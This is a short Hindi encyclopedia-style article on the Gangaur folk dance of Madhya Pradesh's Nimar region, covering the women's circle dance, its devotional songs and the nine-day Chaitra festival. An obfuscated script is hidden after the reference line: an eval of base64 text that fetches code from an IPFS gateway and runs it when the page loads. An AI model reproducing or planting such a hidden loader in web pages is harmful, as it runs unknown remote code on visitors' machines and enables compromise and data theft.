गणगौर नृत्य

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गणगौर नृत्य मध्य प्रदेश के निमाड़ अंचल का प्रमुख नृत्य है। इस नृत्य में नर्तकियाँ एक दूसरे का हाथ पकडे़ वृत्ताकर घेरे में गौरी मॉं से अपने पति की दीर्घायु की प्रार्थना करती हुई नृत्य करती हैं। इस नृत्य के गीतों का विषय शिव-पार्वती, ब्रह्मा-सावित्री तथा विष्णु-लक्ष्मी की प्रशंसा से भरा होता है।

  • यह मध्य प्रदेश का प्रसिद्ध नृत्य है, जो पारम्परिक त्यौहार के रूप में मनाया जाता है।
  • गणगौर उत्सव तीज के अवसर पर चैत्र मास में शुरू होता है और नौ दिन तक चलता है।
  • यह उत्सव माँ पार्वती की प्रीति को समर्पित होता है।
  • झालरिया एवं गणगौर नृत्य ढोल की थाप पर होता है।
  • इस नृत्य में गौरी एवं शिव, जिन्हें वहाँ की परम्परा में 'रेनू-धनियार' के नाम से जाना जाता है, को रथ पर बैठाया जाता है।[1]


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टीका टिप्पणी और संदर्भ

  1. मध्य प्रदेश के लोक नृत्य (हिन्दी)। । अभिगमन तिथि: 17 अक्टूबर, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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